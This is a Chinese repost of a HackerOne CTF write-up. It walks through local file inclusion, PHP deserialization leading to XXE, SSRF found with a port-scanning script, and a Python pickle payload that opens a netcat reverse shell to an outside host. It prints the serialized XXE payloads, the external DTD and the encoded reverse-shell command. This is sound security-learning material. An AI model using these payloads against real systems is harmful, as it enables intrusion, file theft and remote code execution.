Hackerone的一场CTF Writeup

栏目: Python · 发布时间: 6年前

内容简介:我们从HackerOne的推特中得知这场CTF竞赛,并立即行动了起来。这场CTF竞赛从推特上一张包含二维码的图片开始。

我们从HackerOne的推特中得知这场CTF竞赛,并立即行动了起来。这场CTF竞赛从推特上一张包含二维码的图片开始。

Hackerone的一场CTF Writeup 二维码返回以下信息:

Hackerone的一场CTF Writeup

这些字符看上去很眼熟,因为它们是url编码的字节。因此我们在每两个字符后面加上了一个‘%’。

Hackerone的一场CTF Writeup

然后我们用Burpsuite的解码器对这段字符进行了URL解码,得到了URL:( https://h1-5411.h1ctf.com ):

Hackerone的一场CTF Writeup 紧接着,我们开始浏览这个网站: 

Hackerone的一场CTF Writeup

这是一个创建表情包的网站,你可以选择一个模板(从一组封闭的图像中),然后制作属于你的表情包。我们发现一个有趣的页面,从这里真正的表情包开始产生:

Hackerone的一场CTF Writeup 可以选择表情包图片和文本的类型,在顶部和底部编辑关键的表情包文字之后,表情包将在底部展现。 

Hackerone的一场CTF Writeup 从现在开始,每个生成的表情包都展示在”meme.php”页面上。 

我们仔细观察了一下生成表情包的请求,我们注意到在交换数据(包含表情包参数template)时,响应返回一个JSON,其中包含远程服务器上的本地表情包的路径信息。

Hackerone的一场CTF Writeup Hackerone的一场CTF Writeup 我们认为”template”参数区域可能容易受到本地文件包含的影响,并且确实如此。我们试图获取”/etc/passwd”文件,想办法去得到它:

Hackerone的一场CTF Writeup Hackerone的一场CTF Writeup 在验证了漏洞之后,我们尝试获取这个网站的源码。我们从获取”index.php”开始: 

Hackerone的一场CTF Writeup

Hackerone的一场CTF Writeup

一旦我们成功的获取到了index.php文件,我们就可以遍历获取源码中引用的每个 php 文件,从而导致源码几乎完全被转储(未涵盖的代码不会显示,因为没有被引用)。

Hackerone的一场CTF Writeup

我们开始审查源码,”header.php”引起了我们的注意。里面包含已经注释了的两个文件——导入和导出memes的php文件,看起来它们属于2.0版本的网站。

Hackerone的一场CTF Writeup 我们尝试去连接它们,发现在网站上可以查阅到: 

Hackerone的一场CTF Writeup Hackerone的一场CTF Writeup

快速的浏览了一下,EXPORT导出功能返回一个我们表情包的”memeapk”文件。

Hackerone的一场CTF Writeup 我们打开这个文件,显然这个文件包含php序列化数组的base64编码数据。 

Hackerone的一场CTF Writeup

这立即使我们意识到可能着面临一个反序列化漏洞。在PHP中,为了反序列化对象,PHP需要熟悉类的信息——这意味着我们只能序列化原始的或者已经定义的类。

除了熟悉这些类, 我们还需要一个接收器函数 (神奇函数), 它包含我们控制的数据, 并将由系统本地触发。

在之前提取的”class.php”文件里,我们发现3个定义的类:

 1. Template
 2. Maintenance
 3. ConfigFile

Maintenace类被注释掉并且注释表明它属于内部服务。

ConfigFile类是最有意思的一个,因为它包含”_toString”神奇函数,该函数执行”parse”函数,该函数加载外部XML,可能导致XXE漏洞。

Hackerone的一场CTF Writeup

我们有了我们想要序列化的类,现在我们必须要找到调用序列化方法的位置。我们看到正在序列化的内容是存储在会话中的memes数组:

Hackerone的一场CTF Writeup 当上传新的”memepak”文件时,反序列化阶段执行于导出功能处。这个函数首选确认我们上传了一个文件,然后读取文件内容,进行base 64 解码然后传送到unserialize函数中。 

Hackerone的一场CTF Writeup

在这种情况下,我们尝试用反序列化函数来实现XXE。要做到这一点,需要调用”_toString”函数。在”memes.php”页面上,遍历memes数组,所以每个meme都被打印出来。打印该项触发了“_toString”方法,从而触发了”parse”函数。

Hackerone的一场CTF Writeup

为了创建ConfigFile对象的序列化字符串,我们将ConfigFile类复制到我们的电脑上,使用我们所需要的参数创建了一个ConfigFile的实例,将其序列化并将其回显到控制台:

Hackerone的一场CTF Writeup

上图中的”test.xml”文件包含一个恶意XXE payload,可以显示“/etc/passwd”文件。因此会返回以下字符串:

a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:94:"<!DOCTYPE replace [<!ENTITY ent SYSTEM 'file:///etc/passwd'> ]><a><toptext>&ent;</toptext></a>";}}

如前所述,“import_memes_2.0.php”文件接受base 64 编码的序列化字符串,该字符串表示php数组。

Hackerone的一场CTF Writeup Hackerone的一场CTF Writeup 我们发送了包含单个ConfigFile实例的序列化数组(带有恶意payload): 

Hackerone的一场CTF Writeup

成功了!~

预料之中,得到了“/etc/passwd”,所以我们挖到了一个有效的XXE漏洞。

Hackerone的一场CTF Writeup 我们现在面临的问题是将XXE漏洞升级为远程代码执行(RCE)。 

我们尝试了“expect://”模块,但是失败了。我们回想了在”classes.php”文件里提到的maintenance类,注释里提到内部服务,所以我们尝试了SSRF。

简单起见,我们更改了XXE的payload,以便获取外部DTD。这将使我们免去更改序列化PHP对象的麻烦,并且只需要我们调用”memes.php”来触发XXE。

新的序列化对象结果是:

a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:127:"<!DOCTYPE replace [<!ENTITY % outside SYSTEM 'http://<<redacted>>/exfil.dtd'> %outside; ]> <a><toptext>&exfil;</toptext></a>";}} 

而远程DTD文件的结果是:

<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost:80/ "><!ENTITY exfil "%data;"> 

我们首先尝试了使用payload获取”localhost:80”,但是没有任何返回。我们尝试了其他常见端口但没有成功。我们写了一个遍历整个端口范围的脚本,来测试我们是否能得到不同的响应:

import requests

s = '''<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource= http://localhost:80 "><!ENTITY exfil "%data;">'''

for i in range(0,65535):

with open('exfil.dtd', 'w') as f:

f.write(s.replace('80',str(i) ))

print('[-] running ' + str(i))

r = requests.get(' https://h1-5411.h1ctf.com/memes.php ', cookies={'PHPSESSID' : 'ockij83kja86797h54m2r6pso9'} )

with open('results/'+ str(i) + '.html', 'w') as f:

f.write(r.text)

该脚本导致许多失败的结果(它们共享相同的文件大小3575)

Hackerone的一场CTF Writeup

终于,我们看到了一个文件大小不同的文件。该文件的端口号为1337:

Hackerone的一场CTF Writeup 文件的内容为: 

Hackerone的一场CTF Writeup base 64编码的内容(请注意debug参数): 

Hackerone的一场CTF Writeup 我们尝试通过ssrf访问 http://localhost:1337/status?debug=true ,并得到了如下返回: 

Hackerone的一场CTF Writeup 经过base 64 解码我们得到如下内容: 

Hackerone的一场CTF Writeup

这些数据看起来像是 python 序列化对象。

然后我们访问“ http://localhost:1337/update-status?debug=true&status=on ”然后得到如下返回: 

Hackerone的一场CTF Writeup

这个返回使我们意识到我们应该对我们的数据进行编码(因为base 64 编码依赖于正确的填充)。

我们发送相同的请求,只编码”status”参数值并得到如下返回:

Hackerone的一场CTF Writeup

我们现在得到了一个不同的错误,说明服务器找不到MARK。此错误消息通常表示服务器正在尝试使用python pickle库取消选区对象。

我们发现如下gist,运行命令来产生pickle序列化python对象: https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd

我们用这个gist生成python对象并使用base64进行编码:

Hackerone的一场CTF Writeup 这个序列化对象的内容是:

Hackerone的一场CTF Writeup

现在,我们更改了外部DTD以提供序列化对象:

<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUyduYyAtZSAvYmluL3NoIGRvLm1hbGxvYy5jby5pbCA4MTkzJwpwMgp0UnAzCi4%3d&debug=true"><!ENTITY exfil "%data;">

然后,我们设置了一个netcat监听器并发送了请求。一旦XXE被触发,SSRF就会被触发,序列化对象被反序列化并且 shell 产生。现在我们有一个远程的shell,我们运行”ls”查看当前目录内容。我们观察到”flag.txt”文件并打开它,文件包含的内容如下所示:

Hackerone的一场CTF Writeup *参考来源: HackerOne ,由AngieQ编译,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Java程序设计与应用开发

Java程序设计与应用开发

於东军 / 清华大学出版社 / 2005-3 / 27.00元

本书作为Java程序的入门与应用教材,共分为3部分:第一部分讲解Java程序设计的基础知识,包括Java基本编程语言、面向对象设计思想、类、对象、接口以及异常处理。第二部分讲解Java程序设计的高级知识,包括:GUI编程、套接口编程、I/O系统、数据库访问以及多线程编程。第三部分详细分析一个实际项目的开发过程,包括系统分析及功能实现。在项目实例中综合应用第一、二部分的Java知识,能够帮助读者进一......一起来看看 《Java程序设计与应用开发》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试